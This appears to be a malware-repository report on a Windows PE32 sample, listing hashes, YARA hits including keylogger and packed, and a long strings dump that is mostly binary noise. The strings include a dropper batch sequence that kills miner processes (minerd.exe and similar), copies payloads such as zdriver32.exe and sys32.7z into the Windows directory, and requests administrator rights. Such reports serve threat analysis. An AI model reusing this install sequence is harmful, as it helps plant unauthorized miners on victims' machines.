Sample details: 0176434d8a67ddf3e510bfd0ccb1be89 --

Hashes
MD5: 0176434d8a67ddf3e510bfd0ccb1be89
SHA1: 5e262e966a6c5b3ccb5cf2629ef24cf1214518b9
SHA256: 40e7c4fff40303c0580b87da7a96f13f103de1994a43f7a6b619ccd7df4c6465
SSDEEP: 12288:AcScCxEK8LlLtrMFrNw4IvOra/WY7h7kL08eWtERFH34qJWnEURiA4YJH:RsEhLlRwFJPJkh7kSXX3dWFRH4+H
Details
File Type: PE32
Yara Hits
YRP/Microsoft_Visual_Basic_v50 | YRP/PureBasic_4x_Neil_Hodgson_additional | YRP/PureBasic_4x_Neil_Hodgson | YRP/PureBasic4xNeilHodgson | YRP/IsPE32 | YRP/IsWindowsGUI | YRP/IsPacked | YRP/IsBeyondImageSize | YRP/PureBasic | YRP/domain | YRP/IP | YRP/url | YRP/contentis_base64 | YRP/keylogger | YRP/win_files_operation | YRP/CRC32_poly_Constant | YRP/CRC32_table | YRP/MD5_Constants | YRP/VC6_Random |
Parent Files
0188656822c98431dca599472473d583
Strings
		!This program cannot be run in DOS mode.
`.text
`.rdata
@.data
\$PK;\$ 
-SUWu	
HtZHut
tKHtDHt'HucjF_
G4PSj$
u&SSh2
HHtTHt1
SUVWPQ
+D$$^_[
SHGetPathFromIDList
SHBrowseForFolder
SHELL32.DLL
Static
Button
PB_DropAccept
PB_WindowID
WindowClass_%d
PB_MDI_Gadget
MDI_ChildClass
GetLongPathNameA
Kernel32.DLL
0123456789abcdef
Qkkbal
-PB_GadgetStack_%i
Overwrite?
Please enter the password.
Bitte w
hlen Sie einen Ordner zum Speichern der Dateien aus.
Fehler!
An unknown error occured. The program will be terminated.
Error!
This program is not supported on this operating system.
berschreiben?
Fortfahren?
Continue?
The file 
Einige Include Dateien konnten nicht erstellt werden.
Nicht gen
gend Speicher verf
Ein unbekannter Fehler ist aufgetreten. Das Programm wird beendet.
Can not create some of your include files.
Password
Passwort
Falsches Passwort.
Can not allocate the memory.
 existiert bereits im aktuellen Arbeitsverzeichnis. 
berschreiben?
Das Programm wird von diesem Betriebssytem nicht unterst
Choose a location to save the files.
Wrong password.
Die Datei 
Bitte geben Sie das Passwort ein.
deutsch
 already exists in the current directory. Overwrite?
KERNEL32.DLL
COMCTL32.dll
GDI32.dll
MSVCRT.dll
OLE32.dll
SHELL32.dll
USER32.dll
GetModuleHandleA
HeapCreate
GetUserDefaultLangID
VerLanguageNameA
FreeLibrary
HeapDestroy
ExitProcess
GetTempFileNameA
FindResourceA
LoadResource
SizeofResource
GetExitCodeProcess
HeapFree
HeapAlloc
LoadLibraryA
GetProcAddress
GetCurrentThreadId
GetCurrentProcessId
InitializeCriticalSection
GetCommandLineA
GetModuleFileNameA
CloseHandle
GetCurrentProcess
TerminateProcess
SetUnhandledExceptionFilter
GetVersionExA
HeapReAlloc
EnterCriticalSection
LeaveCriticalSection
SetLastError
GetCurrentDirectoryA
SetCurrentDirectoryA
DeleteFileA
GetTempPathA
CreateDirectoryA
WriteFile
CreateFileA
SetFilePointer
ReadFile
InitCommonControls
InitCommonControlsEx
GetStockObject
SetBkColor
SetTextColor
CreateSolidBrush
DeleteObject
memset
_rmdir
strncpy
_strnicmp
strncmp
strlen
strcmp
memmove
memcpy
sprintf
CoInitialize
CoTaskMemFree
RevokeDragDrop
ShellExecuteExA
CharLowerA
MessageBoxA
SendMessageA
GetWindowThreadProcessId
IsWindowVisible
IsWindowEnabled
GetForegroundWindow
EnableWindow
EnumWindows
DestroyWindow
GetSysColor
GetSysColorBrush
CreateWindowExA
GetWindowLongA
PostMessageA
CallWindowProcA
SetWindowLongA
SetFocus
GetWindowTextLengthA
GetWindowTextA
RedrawWindow
RemovePropA
DefWindowProcA
SetPropA
GetParent
GetPropA
GetWindow
SetActiveWindow
UnregisterClassA
DestroyAcceleratorTable
LoadIconA
LoadCursorA
RegisterClassA
AdjustWindowRect
GetSystemMetrics
GetActiveWindow
GetWindowRect
ShowWindow
CreateAcceleratorTableA
PeekMessageA
MsgWaitForMultipleObjects
GetMessageA
TranslateAcceleratorA
TranslateMessage
DispatchMessageA
SetCursorPos
LoadImageA
SetCursor
MapWindowPoints
MoveWindow
SystemParametersInfoA
GetKeyState
SetCapture
GetCursorPos
ReleaseCapture
GetClientRect
FillRect
EnumChildWindows
DefFrameProcA
GetFocus
IsChild
GetClassNameA
taskkill /f /im driver.exe
taskkill /f /im zdriver32.exe
taskkill /f /im minerd.exe
taskkill /f /im minerd_qv2.2_sse4.exe
taskkill /f /im minerd_w32_sse4.exe
taskkill /f /im gzip.exe
mkdir "%windir%\system"
copy /y gzip.exe %windir%\system\
copy /y sys32.7z %windir%\system\
copy /y 7za.exe.gz %windir%\system\
copy /y zdriver32.exe %windir%
del /q %windir%\system\7za.exe 
%WINDIR%\zdriver32.exeMZ
!This program cannot be run in DOS mode.
`.data
.rdata
.idata
u"h0 C
RHPh0 C
;D$$v1+D$
D$,+L$0
t$0;t$4
L$8K#\$
T$<9T$4
9|$8v4
t$@Vh`
t-JuW[^_
C;\$X~
t$$9t$,
f	= CA
f	5 CA
f	5 CA
f	5 CA
f	= CA
f	= CA
f	= CA
f	5 CA
f	5 CA
f	5 CA
f	- CA
f	= CA
f	= CA
f	= CA
\$ 9\$
~"SWhPGA
UWhPGA
L$(9L$,
~"PWhPGA
t7h0 C
t*h0 C
t*h0 C
t$ t3SQ
vSMtPf;
D$p~t9
T$(t*1
T$$t*1
\$4^ZS
Qkkbal
bad pack level
to-stdout
stdout
decompress
uncompress
license
no-name
silent
recursive
suffix
no-time
verbose
version
rsyncable
Copyright (C) 2007 Free Software Foundation, Inc.
Copyright (C) 1993 Jean-loup Gailly.
This is free software.  You may redistribute copies of it under the terms of
the GNU General Public License <http://www.gnu.org/licenses/gpl.html>.
There is NO WARRANTY, to the extent permitted by law.
corrupted input -- file name too large
%s: %s is a a multi-part gzip file -- not supported
%s: %s has flags 0x%x -- not supported
%s: %s: extra field of %u bytes ignored
%s: %s: part number %u
%s: %s: decompression OK, trailing garbage ignored
%s: %s: unknown method %d -- not supported
%s: %s is encrypted -- not supported
%s: %s: decompression OK, trailing zero bytes ignored
%s: %s: not in gzip format
 (totals)
%5s %08lx 
%s%3d %02d:%02d 
uncompressed
compressed
%*.*s %*.*s  ratio uncompressed_name
method  crc     date  time  
??? ?? ??:?? 
                            
read from
written to
%s: compressed data not %s a terminal. Use -f to force %scompression.
For help, type: %s -h
standard input
%s: %s: file name too long
%s: %s already has %s suffix -- unchanged
%s: %s/%s: pathname too long
%s: %s is set-group-ID on execution - ignored
%s: %s is set-user-ID on execution - ignored
%s: %s is not a directory or a regular file - ignored
%s: %s already exists;
 do you wish to overwrite (y or n)? 
name too short
%s: %s: unknown suffix -- ignored
%s: %s is a directory -- ignored
can't recover suffix
%s: %s: warning, name truncated
%s: %s compressed to %s
%s: %s has the sticky bit set - file ignored
internal error in shorten_name
	not overwritten
%s: %s has %lu other link%c -- unchanged
%s: time stamp restored
 -- replaced with %s
Compress or uncompress FILEs (by default, compress FILES in-place).
Mandatory arguments to long options are mandatory for short options too.
  -a, --ascii       ascii text; convert end-of-line using local conventions
  -c, --stdout      write on standard output, keep original files unchanged
  -d, --decompress  decompress
  -f, --force       force overwrite of output file and compress links
  -h, --help        give this help
  -k, --keep        keep (don't delete) input files
  -l, --list        list compressed file contents
  -L, --license     display software license
  -n, --no-name     do not save or restore the original name and time stamp
  -N, --name        save or restore the original name and time stamp
  -q, --quiet       suppress all warnings
  -r, --recursive   operate recursively on directories
  -S, --suffix=SUF  use suffix SUF on compressed files
  -t, --test        test compressed file integrity
  -v, --verbose     verbose mode
  -V, --version     display version number
  -1, --fast        compress faster
  -9, --best        compress better
    --rsyncable   Make rsync-friendly archive
With no FILE, or when FILE is -, read standard input.
Report bugs to <bug-gzip@gnu.org>.
ab:cdfhH?klLmMnNqrS:tvVZ123456789
%s: -Z not supported in this version
Try `%s --help' for more information.
1.3.12
Written by Jean-loup Gailly.
%s: -b operand is not an integer
Usage: %s [OPTION]... [FILE]...
%s: incorrect suffix '%s'
output in compress .Z format not supported
Bad table (case b)
Bad table (case a)
Bad table
corrupt input.
corrupt input. Use zcat to recover some data.
%s: %s: compressed with %d bits, can only handle %d bits
%s: %s: warning, unknown flags 0x%x
too many leaves in Huffman tree
invalid compressed data -- Huffman code > 32 bits
invalid compressed data--length error
%s: %s: not a valid zip file
%s: %s: first entry not deflated or stored -- use unzip
%s: %s: encrypted file -- use unzip
internal error, invalid method
%s: %s: invalid compressed data--crc error
%s: %s: invalid compressed data--length error
len %ld, siz %ld
invalid compressed data--length mismatch
invalid compressed data--format violated
%s: %s has more than one entry--rest ignored
%s: %s has more than one entry -- unchanged
%s: memory_exhausted
%s: %s: %s
argc<=0
%s: %s: warning: %s
%s: unexpected end of file
%5.1f%%
POSIXLY_CORRECT
%s: illegal option -- %c
%s: unrecognized option `%c%s'
%s: invalid option -- %c
%s: unrecognized option `--%s'
%s: option `%c%s' doesn't allow an argument
%s: option `%s' requires an argument
%s: option requires an argument -- %c
%s: option `%s' is ambiguous
%s: option `--%s' doesn't allow an argument
%s: option `-W %s' doesn't allow an argument
%s: option `-W %s' is ambiguous
Unknown system error
%s:%d: 
ExitProcess
GetFileAttributesA
GetLastError
SetUnhandledExceptionFilter
__getmainargs
__mb_cur_max
__p__environ
__p__fmode
__set_app_type
_cexit
_chmod
_close
_errno
_filbuf
_findclose
_findfirst
_findnext
_flsbuf
_fstati64
_fullpath
_isatty
_isctype
_lseeki64
_onexit
_pctype
_setmode
_stati64
_unlink
_utime
_write
atexit
calloc
fflush
fprintf
fwrite
getenv
localtime
malloc
memcpy
memmove
memset
perror
printf
putchar
realloc
signal
strcat
strchr
strcmp
strcpy
strcspn
strerror
strlen
strncmp
strrchr
strspn
tolower
vfprintf
KERNEL32.dll
msvcrt.dll
wh*vcb
<s>;n:
w+LpC{
l.Pns*h
9X!^ZJ
^h{9:@
a1Ry|j+
rIl2py*
;RZFnw
sMu";1
>':A,c3
HY?5<'
9d'}*?R
m+.w^F
pZCz3Wn6
X+To<L
)m~(#h9
JqOQR,
h<[d-pn
	v"{o_
v(m':M
/|$EFV
:jD%6=
xal0kb
(]uf~=
(x"C}I
y$yT<s
sgm>@*
63W0s-
 $zmqf@
C7%i-){
Zh1u>63
_GNnJR4
\!o&m[lT.
A*t|G2
h7:ojm;
^*bkqO
yV5FBc
W?=z\Mo
i_^ CU`:
gc>w+l
@>7Gpw
Od^)B#$
n}cA-y
{&y~L*
	[;q|D%
9x7	aC9
RVx`d)
CTvroZ
}snd69
;<kBFr
nBNM^x
7IHo#,
9g$I\wN
 k27)"Y
Ko\ZPw
XOdlJ3
Q4)2Mk
<EIOu,
r$MR Xj
fI_u)*
_8T*ad
9	";~7
&pp6FW
Le%"+iZ5V
Ta }jR%
* OS.^
-Vf<4s
;:oiWP
	@E3IU
TD+4#+
Nw|`-jg
W3VBkY
*Pn{c]
[9ML.'
?5D,>Q
UJi'I~
S#YZUDR'
w:i`0@
\rgP@&>
 OQ!s-
<hD+u]
j7W70e9v
q+7'Jh
5+IE4:
.gP!*ud&
)PX)+n
C:-DaB3
nw/!0>
[Vhj$t
_X$3GWs]
Kp!3bD
2tXCZn
<CNu]D
$<n`x-
x>}Zy$#%YS,@
/^$_.	d
7@00CF
Q,Gd_`
M;.,1D
dtj<zaJ
*X4mr_
T6/v|$,nX
DZHU`9
bLt^\N
G"IB%zW
PSgqC-
	6w$0El
Rm;\nPc
ne&y*Wkn
M-go8OD
l:F/m`
OqgyO]
ujQ|Sn
+'FIIm!q
E6l6`Q
01| G ]I
8q1&i$
.b#6I*
!ui3=	
uBmE5&
k6(y}&
8t)@S+
cBpl?@
^.NgP3
Cmu`iD
W6o+F]
tHk;0Q
I:m%@a
[yN-O,Y
<{!QD1	
JhwH^o
G!zQy6
u</`Qs 
8V#Do~
Da6~?8]
u;jO+Qp
}JjH|\
n.so&(
F?q bE
[T.h0a
u[67Cr8
8.&#D|l
p-c$BX2`
\>z%iu
K2!*Jo
7_d*th
^3(Yxk
#FF0v6
.$:X$=
ufT]FRM'0}j
5WL'9n=
=DPi1	
gr18a.
$iQc}pD
	H@'%{[
AFK7nsB
A'Ty`]	
c$aTKo
/@7D8#
;.>=GW
O-&v!5
$(T]2T
R!\fPCS=M4/
kleUWy!/G
P+ZU0;
Y,M=M\
'zO;Yl
DhYa-Z[
J'),	}
~LCxuM
Lef0TI?r
@'dt6f
h$S4x 
@%zIhAd]
Q@=~> 
<*pW/*
dQ[gB^
B5GRg`~
U%0%+mr
bDe8$G
\v:5*;
19$3;g
|)<,1uy
Gx	qxo4
Wit0RL
D#[XpIu
DPc^6m
s4)v?l
uGtpTU
6YChDb
X]7|3Y-`3
!i'>|zx
,G0\h}
i*@3	AK_"eNs
v5&%&~
kkhM4"IJ
-"QY>!6wc
	|?6_T
%0X`qS
#R?/0X
"U%Tt'
6J<:,'
(1<..H
&&&F /IJ
)@F/=p?
Z_;	\a
=GP'=Z
MUsq0jL
f'%1XhY
y&PrM8
]_tXOKN
U\B"u?n
np< N/
	-6s<e
2Ss7St
?[SFf5H
HXD_XO
j<F"a3Fg
U%P}$qI
Sk_P?IYC{
,ZKjj%
"E?n!!
z'gw'+Y
MI9m`p
XS<^YU
g5gN\w
we(qm>
\Zln	,
M)M%~.
JEzMW?_
Px7!JMCCy
S<0TiI
@Inm%~
b@"F8z=2O
{^rX!g
\"<kiT
;w2n7o?
-"YO<+Q
Op~(F`
AJmO,nw
6wrxGz
{w&:N?
K|AdzG
ym<@x4
1Q;p&e
p}EkDhE`
E8tuj|
'_OLw%
1uq^rjF
YS>_)Yh
J	+yMS!
C30$#Y	
?{Fe]	
A[np_R
K"\}%gw!8 
Lh)Qz;
J=8I/O
'DzsRX]~!a
qC8n6J
foy9mye
(!KBrNS
@[w}7z=
s/CAb 
#3!9tN
ZxkBr@d;
dK~:\v
\mYc.#
v9r/t=)
CnW\Ud
ySy!p5g5
3PD+1Z
(wLq+WL"
x#Ct/g
qRAV.	
:!37H<V
@'DI1&O*
 =}mCHP
prpe=b
(qF<#kj
BCb>}:
i~- KV
N-L0Ng,o'
(ZfO|QMn
G9B{^-
c`YNfj
@"4TE(
,?=Kk!
X1sk7<
-&0'3 
wz=;zr
j]]Mrh%
HLW)Z.t|
wR<jv*
0"tP=O
%)fVKp
&<8M4[
\mFO#)
ZF*;Vk
`"5S *Rd
x/q<0d
jnYa'$
n?{@p$
6+QUR	
F`<uUg
Ri/c~s
!X=He5!q
)1*Dyv
wDBK1$#
AhWyV&C*VF
hiIz@f
yt0UwU
,!n\UM
yFEQo6TtU
k0E~$"
6:H.*8
hEOHfR
'}r}3a
bi	Ywz
c8491I
+&nEe-CB
xl_P1#q
[#||d+
b(''mf&-Z
EFC)-|
g	>3R-y*Up
M	F|XA
DcBn\l
<l m]7h
5XYf;/
N4~::	
#sfOr.S
%qW{?B
-H9w3J
awH1-e
yQ"fjB
)$yKD2
9n~U}(WO#
}1& RKR
4+x*M=U
/JFjs}aF
,_SF:L
ccq3#P
~y:&ij<
TOYP?@{b
Eu=:):U
ltI>`w 0
L9a0yC
(c^#*vFu`
	4B^lL<
(&Z@ye
'pb_W%
.:?K5s
j0i`HRT
-/Vh&{
vl@:dx
k_Sg]o
vC<~G))e
qtCG){
z8Q$2L
bFGs=X
?0yO<n
V`dpek
8Kk0|L
;r`zoOp{Dn)0
'1*s=<W&
<_cT{k4
5#1.IC
RKM0F )$
qT;tP=
av!5#%>
/Bp!_W``4
	vQdDl
dTBu!/
v?P$a~b
-_3:<s
m]8IQ}
r]TYCp
lt8E!M
kqi^K#
f^T7e-
e_	plRG
,#]4XS
>5{9Oj[s
"Gc='C
a:_:X"
6B+6#AH'l<
]6&'`G
lv#{tu
cB=KD`
k0^ti_
2R<3[~kC
MX]Ij|yO
LyB\z,-%
BHXs@6k
@]a!G,g
3rcen:
k8Zcw{xu
axk3q[
`$3|~Ig
$xU4r[N
b!@SeMV
 y^eSe
zH$&*l
'4\@p(!
pIbFb/6F
A?@	[V
zf,s&#
V-Soz7~
u8Y:Uqx
#?G4fU
YG_2l?
^By@5,
_%zVYF
m~{>4g
Ue!dzJe
XxX,]Y^
m#Eks'K
Pp:]>+
1]J>l`
6+p0Z8
"++.;W9[
8B@IS-
q&2e|Xl
~4p<	z
dk`)<e
XF:61}
afyr`_>
g?)("Oz\?\
GVG+v.Q
+x?D>'
F@))(>
t+E8kh
[hIl!\
[*ImTl
IZ%tGU1
|{PyW$
o@yb#$
pDqTrP
lFRp*]
746uvO=H
I9R+2r
&p(w)J
];ROe\i
 Efit%
-QKX$Z
B"uP 4/
pCa)%o
+`\+%0
y6K)*pl
F,wB]R>
&J4;7;
	;,c"%
UAk+5*
%$BSkc~b?7
_bQ=X:
QMH._t
|+%l1h
YJgkn\
nmjj#.
|E]\*axc
R,xvXYYE
+}0xwJ
Qcrc]&
cEWk^cE!
e2|m)r
%17.b{`
7za.exe
 ~r@[,
E?7IAG
{k]Rf/2ddT
Gh}Uv_
knYkKl
nR]2jE
KiH]oT
W +F,:Z
B	~G;"G5
kO.9lp
n=[	Z@
i?<Nh8
Eut}NK
oG89}Iy{
BT1@h3
Ug&4i1z
r%I&)d
YV6q~.
KZqJ[~*
`}F,Wf+"
|Y'_Y<
!8chqC
k|Ef:E
B>rG'Nj
WB7ke2B
OiY_T$ 
9|!lL3
od?}\<
-8gU*\R
\3;OZ{
m&4em'D
E9d`$_XK
ZT7I7C
WjY'	G
J3m%]G
|QM'4gy
-jI^,V=
>R[%j>
-zl@/jEQ"
(.fBr(
!Xj!`y\0
$BT:O1y	
FRpR+}
mEY*8K/
};a{Mk
?K<~7Xr
@dzKQ 2sSA
)uEw%X
}YNK:U
YU]]o*NF
1"Y^am
x,$(dO(
x*!:[c
E6`+jY
d1}jD.
|O8Qi?
&-)^<x
']D?=2s
4Dw)`@enx
-Zq9_x%tK	
7f<wkfzf
X^L=,)
f)#}fRd
21B~7c
*3Tb3BL
t	C#L7
`0*>:kS
k{HtI:
.{XLN}~3h
u|\wC*^
H%+$S;
;`+9`7>
u->xSq<W
'hbula
JlWb[g
U[q-	}
*\xwYH-3
Pe16j%'o*
jg6,,8
BS(UEh
Y3!Tr4]L
E5}Kc:
b+Ic%W
]+V,P_S
l~_xNU
2M[9@`
@U2:LOxn
OWYYi%
eb~%Fg
qS{7~3
_)n*D2
3r!Kd;
ck9qlW
j55{?5
+]xaZ;
vR~nW}
A].,-o|
JvQ_"i
.FsI.c
WF}9WF]9
0l:@7*
N[} ;Rz
`LM&yi[h
=y<bfz@2)fR
}OX-'[
#]v(Cm|K
kaJke*|
<xRi~N?
5n70u7
`<q6>j
" JOd#
rH>&hS~
C0sf<b
r ,&	d
;{a:=Z]
SLx\aw
7~btE<W
>Wh\\N
W\63q~
_@hEv0'
6j:*#<
97xJE)c
^u:ze:
M{r{AHEdI4D
I-?NM`
"fdi*]
ya+P39
Du(.p=
yeAO:I
fCIO9`z
yS!-<d.
oX/c=#g
%$Q0_s
0W6k3q
+FTAqj
t3dIH.
*	V?en
62XsX[p$\d
kKyzkAl(cw
HO,puB
hs',(0
:>,Ba1
/+tg@S
GV!2.h
#.T-mk
-FHK2y
8n^Yj6
GZW,PK
?qyqZb
riXB8+
T,? .RjUR
lo3Z^(
Cv-K-5
W9l;S"i
T{Oux+
r<1,T,
&&+JLhr<1
rZLm.q
Rs'bv\&
51ssZ2
<#hZ@k
P;V@|`[
yXab6mI$[
x`TSOS}~
F(vE9A}
3=Jw'_
ki\2$b
7d'n[26
#Q\<%z
7[.}VZ]W
S}D"Vx
<9/\b*J
W2,w%q
}Ta@]UU
Si-s'V
0e[lNyp
)Czy$JS
<9x[NY
.[/fQ1+
s1Rf!e"O
A(/xiN
Oz#}eP-
nzP^w7K
V;Yt5E)
$oXx	p</
2G}Yn}
|Cz#f}
y3C|tC'
J	s.hm
ejy;bf
3+,sks3
***UZO
]VX-|9,{0
]/!5+}
x9,z>Cq]t	_A
^LEtxo
o #j#W%
.aRz;_
@;W{$v
I%Mpx[n
 P?:P?Fjd(o
GJ^V{M=D
DAg(VG
yzyHaa
y"$j-E6
AJk%Y	
nJ*pR2
wJ:WAR
g^@"1xt5
N26I-3
/dW1lA
2t+Bw 
`s\dv~
W`Tdi{
d&@X*#
;/4@N+
7A?A8a)5
X_,F|dF
K`[l:{
D7K,0E
6xgDOj
t_$<\[
PZ)nd$&
S}qyF,
\j@yRnf
+&u/}3
n(eXP@
9;8&X_@
KZS_h*
G	cKl['L
l+iUhzQ
NH1mWt
6o[O]o:
)V|*9w
7%T}[B
,'aC@K
X$<B]#
jR>XGqxK
5~Y|R|Mq
/2Gwhb79m
Pu7?]JUw
?+=(M|
+941>)
!I9"^R
tHc-Rci
08}V6`
yK1iVE
@xBB8?
x/jy69
EReZmm
;	v;0f
ZbEr9Uk
]mdzYe
h!$X/U
b]=%&|
o+Bx;D
RJl}K;
	eak}M
UvV21r
r)nLi0(i#o
WuP|%2;
H^uQN~;9
KpW3fr
_C#zoBC,
O,5 f+7yo
3vr ~Vh2
I~-fJz
iRkFoy#
QevX#q,
~\jIiZ
v(*j	,sR
Tgppq@-:e
M2t3BG
zR_c<V
Deq>*EU!
hKYvzU
N?82bm
oGEu	'l
(<?GO{G
0Zul#}
>_U-]?
|$Tei0
p gMp 
GR[8*'
=evy;.
qWa(ULE
3DYS|z
~A]	d{
$_OR0c
HSu~jK;4
kH1MIh
'J"rF5rgL
qo>>[NL.
"eu[:I
6|v?6|K
V#1_&bE*
	]14Ivn
(C	p?o
c4Y#,]
E uF u
:.aQZ$j
GN@BE{
RgL}-W5
NZ2y64%"
E/N`7s.W
'hG"IOO"
1EJWK"
*VQcgqBG
i4	Tj).5M
;4R;Ce
*Co1>0
;Uz^x` 
}.a2Mn
33l[EH
OvHC7v
?zB9`K
T>\@-0]@%
v,"T4#
h8%e>(
\ZBaeJ
M{w\"&`
"db>83
'{[a,r
%fSo_\_)
=9ejv3p
rLS&x1W
/Jo<+}q
6$z?B*
O~3>|^
C[,-qC"iH
"J!1<<\t
49LcevHH
rH7z&K8
+Kp3'6dT
?e#Pj+p
>c9I.7
h-xFj d
(9X'nz4
v4M6f<I
u5TJ>x
s!a8c_
;_;#iiba8c
P9z$3"
rcp$L9
*c4}_ijF
,mW|iL:
vl2a)5
vq2th(
$).7nP
qQT/KX'
Wl^oGL$
e+sz[l
8Kf0=t
`-v`{:
;e]N6pQ
,ss!{W
1j]<ez
xJ7d{#*
*]Rx0I
5*i7|m'/}%(
L%I'=I
18%y8%ap=
b1m2Y}1-K
!s(E,1
`)> d,
}~IV=E
\;	m~IY
//-+Cuao
-to|L1`
\u>I5uX
NzU?*z#
zpT@(b
}^aneQ
J1K4N@
t5L6sg
O*	lC-
?,+}X&>
DQ8C"1
w#dfN!
<C3e!oj
a~3{&4
]xYl;}
E}:hK`
jxnav!
/O\t1W
^,;o,w
]7g?=R
5x^C~<
|!{0`l
0M,D_v
,C|VAt
'5/$=I}
0FA1eor
In$AbP
?Mu3sk5
q71P;{
fku%G'
)(k24#
\z<!)~
G"=L"}
Xfsqc	
nd/T!k
'PpM&t
RRXoin
5VM6Ve
< G%DkP
kRp}@e
sjEQ`!
;R1A~J`
aBe>M5w
N\a!'f
	;f(Kl
"Zl}yb
Y#$RFEJ
d`WCr7
36F)R{9
'QeGR/
:r:;CqJG
zbx\[}
?5DQG,#
p)8~ww
bvO!~/
v2CY%D
BU5 $uH
lcEqlNY9
46>>no9l
g3S1x/}
5&FGG*X
&_gP._m
\=dbiJ
bsT{d*
SX&i.W
fGwS"O	.
x1)7Hx`R
Zp^{/?.
umXrj;wQ
'k_ A0
je!:bW'
Cz_-DZ
F0L:vV
&3s<kM
>(}0x~
dTFT.E
QAs~2L
	z1Pa5P
IhXm6f
-r/)%1
FLLC,M5
YBz\:L
TJ}W2XN2
4kE)4/
PXDY\z
m~;G_?f
cTcw8A
,nI>ap
G?h-Hc5
>S">GFi
=-HwxL
PWeB~'a
a7uMX2
V+59B-Rjl
S*6B5S
yP*8^T
+]Y*vv
No'toh
#.7l:b
jwkd=<^
4,"5|M
gjbQbQ
]coZmz
F/x0G'J
NEtz\;
i1T,l{C
:x(T60
T1cl<Ub
*%3T	 
f?nMn&
t]{&ka
,?>^w~
cV!^EA
eqY}QJ
,V fCb
0kuG<\*
3S"Obc
LcfqSf
Y=+5}N
,Jc3zW
8hgo1\
B<ri+."
"}S?yK\G
}S7t_\
(}w.;L
7Joc3~
y&y)y#y5y>X
s9y-y3y'h?
*p#p#0
g/p<x 
M(qg	/
_U~'Ym
[klM!"S
m.TZS10
`oggf9
G(]GCC
Y@49^aG7kTL
Kp1h$ZI
'2#@\Q
?#S1Zi
Ad&)3}
lSF38C3
QU$d/<,
ut>'#]
!This program cannot be run in DOS mode.
`.rdata
@.data
HHtpHHtl
DSUVWh
btHHt.
SS@SSPVSS
t#SSUP
t$$VSS
_^][YY
t.;t$$t(
VC20XC00U
t-Ht!Ht
^}%95|
+ttHHtd
`h````
ppxxxx
(null)
GAIsProcessorFeaturePresent
KERNEL32
runtime error 
TLOSS error
SING error
DOMAIN error
- unable to initialize heap
- not enough space for lowio initialization
- not enough space for stdio initialization
- pure virtual function call
- not enough space for _onexit/atexit table
- unable to open console device
- unexpected heap error
- unexpected multithread lock error
- not enough space for thread data
abnormal program termination
- not enough space for environment
- not enough space for arguments
- floating point not loaded
Microsoft Visual C++ Runtime Library
Runtime Error!
Program: 
<program name unknown>
GetLastActivePopup
GetActiveWindow
MessageBoxA
user32.dll
1#QNAN
1#SNAN
CloseHandle
WaitForSingleObject
CreateDirectoryA
GetTempPathA
GetModuleFileNameA
GetTickCount
KERNEL32.dll
ShellExecuteExA
SHELL32.dll
timeGetTime
WINMM.dll
GetLastError
DeleteFileA
ExitProcess
TerminateProcess
GetCurrentProcess
GetModuleHandleA
GetStartupInfoA
GetCommandLineA
GetVersion
HeapFree
SetFilePointer
SetHandleCount
GetStdHandle
GetFileType
WriteFile
ReadFile
GetProcAddress
UnhandledExceptionFilter
FreeEnvironmentStringsA
FreeEnvironmentStringsW
WideCharToMultiByte
GetEnvironmentStrings
GetEnvironmentStringsW
HeapDestroy
HeapCreate
VirtualFree
RtlUnwind
HeapAlloc
VirtualAlloc
HeapReAlloc
SetStdHandle
FlushFileBuffers
MultiByteToWideChar
GetStringTypeA
GetStringTypeW
CreateFileA
GetCPInfo
GetACP
GetOEMCP
LoadLibraryA
SetEndOfFile
LCMapStringA
LCMapStringW
     62450
%s%s%s%s%s%s%s%s
%s%s%s%s%s
%s%s%s%s
%s%s%s%s
%s%s%s%s
%s%s%s
%s%s%s%s%s
%s%s%s%s%s%s%s%s
set cmdline=
@echo off
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
Turn off the television as it is only a flashing box distraction from life! Interact
% .16g
\a.txt
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" name="setup" processorArchitecture="*" type="win32"/> <dependency> <dependentAssembly> <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" language="*" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" /> </dependentAssembly> </dependency>
   <description>Description</description> 
   <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel
          level="requireAdministrator"
          uiAccess="false"/>
        </requestedPrivileges>
       </security>
  </trustInfo>
</assembly>
DFDHERGDCV
1*H:&/OI$(1PXJ
1PXJ(%I6
#NI1#;Q;J-3
EM#8(!
8ONJ#&P61-H
"FBI#3K@2
)LR,.<6
#";*#&PQ
I96@"$KQ1
.P0#&HFNE
1AQ@*%N
(Q@I(5L - 9BQ
E=0#HLEK
EH"#LP;*(!NN
BP;*(!NN3$1
(6OSL$
P;0(JM;
4=L2)E#NC
I>QK)0"I*
6"&>SDI
@L'*:O
@L'*:O
(6OSL$
@L'*:O
(6OSL$
"FBI#3K@2
DFDHERGGZV
'#3.>>H
PADgzip.exe*68096*sys32.7z*262120*7za.exe.gz*299215*zdriver32.exe*62450*PADstart.batPAD
PA<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <dependency> <dependentAssembly> <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*" /> </dependentAssembly> </dependency> <v3:trustInfo xmlns:v3="urn:schemas-microsoft-com:asm.v3"> <v3:security> <v3:requestedPrivileges> <!-- level can be "asInvoker", "highestAvailable", or "requireAdministrator" --> <v3:requestedExecutionLevel level="highestAvailable" /> </v3:requestedPrivileges> </v3:security> </v3:trustInfo> </assembly>